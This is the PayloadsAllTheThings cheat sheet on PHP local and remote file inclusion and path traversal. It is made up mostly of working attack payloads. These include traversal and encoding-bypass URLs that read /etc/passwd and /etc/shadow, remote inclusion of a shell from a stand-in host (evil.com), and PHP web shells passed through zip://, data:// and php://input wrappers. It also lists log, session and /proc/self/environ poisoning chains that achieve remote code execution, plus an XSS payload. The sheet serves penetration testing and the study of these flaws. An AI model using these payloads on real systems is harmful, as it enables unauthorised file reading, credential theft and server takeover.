PayloadsAllTheThings/File Inclusion - Path Traversal

Local/Remote File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

Summary

• Basic LFI
• Basic RFI
• LFI / RFI using wrappers
  • Wrapper php://filter
  • Wrapper zip://
  • Wrapper data://
  • Wrapper expect://
  • Wrapper input://
• LFI to RCE via /proc/*/fd
• LFI to RCE via /proc/self/environ
• LFI to RCE via upload
• LFI to RCE via phpinfo()
• LFI to RCE via controlled log file
• LFI to RCE via PHP sessions

Interesting files to check out :

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp

The following log files are controllable and can be included with an evil payload to achieve a command execution

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Basic LFI

http://example.com/index.php?page=../../../etc/passwd

Null byte

http://example.com/index.php?page=../../../etc/passwd%00

Double encoding

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Path truncation

http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

Basic RFI

http://example.com/index.php?page=http://evil.com/shell.txt

Null byte

http://example.com/index.php?page=http://evil.com/shell.txt%00

Double encoding

http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

LFI / RFI using wrappers

Wrapper php://filter

The part "php://filter" is case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

Wrapper zip://

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php   

http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

Wrapper input://

Specify your payload in the POST parameters

http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>

LFI to RCE via /proc/*/fd

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : "" ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via phpinfo()

https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

Thanks to

• OWASP LFI
• HighOn.coffee LFI Cheat
• Turning LFI to RFI
• Is PHP vulnerable and under what conditions?
• Upgrade from LFI to RCE via PHP Sessions
• Local file inclusion tricks
• CVV #1: Local File Inclusion - SI9INT